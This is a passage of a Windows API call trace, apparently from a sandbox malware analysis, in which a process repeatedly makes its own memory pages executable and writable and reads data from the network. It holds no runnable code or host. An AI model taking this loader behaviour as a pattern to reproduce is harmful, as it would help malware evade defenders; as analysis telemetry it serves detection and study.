BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.682] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.705] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.712] VirtualFree (lpAddress=0x1e880000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0141.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.808] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0141.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.066] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.075] VirtualAlloc (lpAddress=0x1ed80000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ed80000 [0142.082] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.124] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.161] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.306] VirtualFree (lpAddress=0x1e8a4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0142.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.355] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.403] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.417] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0142.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.446] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.529] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.534] VirtualAlloc (lpAddress=0x1e8a4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8a4000 [0142.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.642] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.656] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.710] VirtualFree (lpAddress=0x1e890000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0142.715] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.868] VirtualAlloc (lpAddress=0x1ed90000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ed90000 [0142.868] VirtualFree (lpAddress=0x1e8b4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0142.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.917] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0142.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0142.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.071] VirtualAlloc (lpAddress=0x1e8b4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8b4000 [0143.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.159] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 